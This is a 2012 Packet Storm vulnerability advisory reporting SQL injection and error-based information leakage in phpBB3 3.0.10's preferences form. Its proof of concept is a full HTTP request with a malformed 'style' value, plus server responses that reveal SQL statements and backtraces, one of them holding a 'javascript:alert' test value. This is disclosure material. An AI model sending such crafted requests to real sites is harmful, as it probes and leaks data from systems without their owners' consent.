exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

phpBB3 SQL Injection

phpBB3 SQL Injection
Posted Jul 28, 2012
Authored by HauntIT

phpBB3 version 3.0.10 appears to suffer from remote SQL injection vulnerabilities.

tags | exploit, remote, vulnerability, sql injection
SHA-256 | 9376898c3f8c9323188f7425ea004eae96bc735daba1b4f20ceac24ede2d816c
Download | Favorite | View

phpBB3 SQL Injection

Change Mirror Download
------------------------------------------------------------------
Name    : phpBB3 SQL Injection
------------------------------------------------------------------
Date    : 27.07.2012
------------------------------------------------------------------
Site    : www.phpbb.com
------------------------------------------------------------------
Version : 3.0.10
------------------------------------------------------------------

1) What is it?
  This is very nice forum board. You should try it!
------------------------------------------------------------------
2) Type of bug?
  SQL Injection (or SQL-info-Leak if You want).
------------------------------------------------------------------
3) Where is the bug?
  Vulnerable parameter seems to be 'style' because if we set up this parameter
to 'bigger number' (for example: 111111111) we will get an error, with full SQL
statement.

*updated - dateformat is the second vulnerable parameter!
*updated - post_st is the 3rd vulnerable parameter!
*updated - another one: topic_st


4) PoC traffic from Burp:
4.1) Request :

---
POST /kuba/phpBB/phpBB3/ucp.php?i=prefs&mode=personal HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://localhost/kuba/phpBB/phpBB3/ucp.php?i=174
Cookie: style_cookie=null; phpbb3_t4h3b_u=2; phpbb3_t4h3b_k=; phpbb3_t4h3b_sid=
Content-Type: application/x-www-form-urlencoded
Content-Length: 258
Connection: close

viewemail=1
&massemail=1
&allowpm=1
&hideonline=0
&notifypm=1
&popuppm=0
&lang=en
&style=%2b1111111111
&tz=0
&dst=0
&dateoptions=D+M+d%2C+Y+g%3Ai+a
&dateformat=D+M+d%2C+Y+g%3Ai+a
&submit=Submit
&creation_time=1343370877
&form_token=576...

---

4.2) Response:

---
HTTP/1.1 503 Service Unavailable
Date: Fri, 27 Jul 2012 06:39:06 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.2
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 2889


<!DOCTYPE html PUBLIC "(...)

<a href="./">Return to the index page</a> </div> <div id="acp"> <div class="panel">
<div id="content">
<h1>General Error</h1>
<div>SQL ERROR [ mysqli ]<br /><br />Out of range value for column 'user_style' at row 1 [1264]<br />
<br />SQL<br /><br />UPDATE phpbb_users
SET user_allow_pm = 1, user_allow_viewemail = 1, user_allow_massemail = 1, user_allow_viewonline = 1, 
user_notify_type = '0', user_notify_pm = 1, user_options = '230271', user_dst = 0, 
user_dateformat = 'D M d, Y g:i a', user_lang = 'en', user_timezone = 0, user_style = 1111111111
WHERE user_id = 2<br />
<br />BACKTRACE<br /><div style="font-family: monospace;"><br />
<b>FILE:</b> [ROOT]/includes/db/mysqli.php<br />
<b>LINE:</b> 182<br />
<b>CALL:</b> dbal->sql_error()<br /><br />
<b>FILE:</b> [ROOT]/includes/ucp/ucp_prefs.php
<br /><b>LINE:</b> 100<br />
<b>CALL:</b> dbal_mysqli->sql_query()<br /><br />
<b>FILE:</b> [ROOT]/includes/functions_module.php<br />
<b>LINE:</b> 507<br />
<b>CALL:</b> ucp_prefs->main()<br />
<br /><b>FILE:</b> [ROOT]/ucp.php<br />
<b>LINE:</b> 333<br />
<b>CALL:</b> p_master->load_active()<br />
</div><br /></div>
<p>Please notify the board administrator or webmaster: (...)

---


4.2 Other response (this time from post_st parameter):
---
</style></head><body id="errorpage"><div id="wrap">  
<div id="page-header">    
<a href="./">Return to the index page</a>  
</div>  <div id="acp">  <div class="panel">
<div id="content">
<h1>General Error</h1>
<div>SQL ERROR [ mysqli ]<br /><br />
Incorrect integer value: 'javascript:alert(123123);/' for column 'user_post_show_days' at row 1 [1366]
<br /><br />An SQL error occurred while fetching this page. 
Please contact the <a href="(...)
---

5) More?

- Ethical hacking for Your company:
http://hauntit.blogspot.com

- Burp Proxy:
http://www.portswigger.org 

- phBB3 Download:
http://www.phpbb.com


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Site Links
News by Month
News Tags
Files by Month
File Tags
File Directory
About Us
History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information
Services
Security Services
Hosting By
Rokasec
close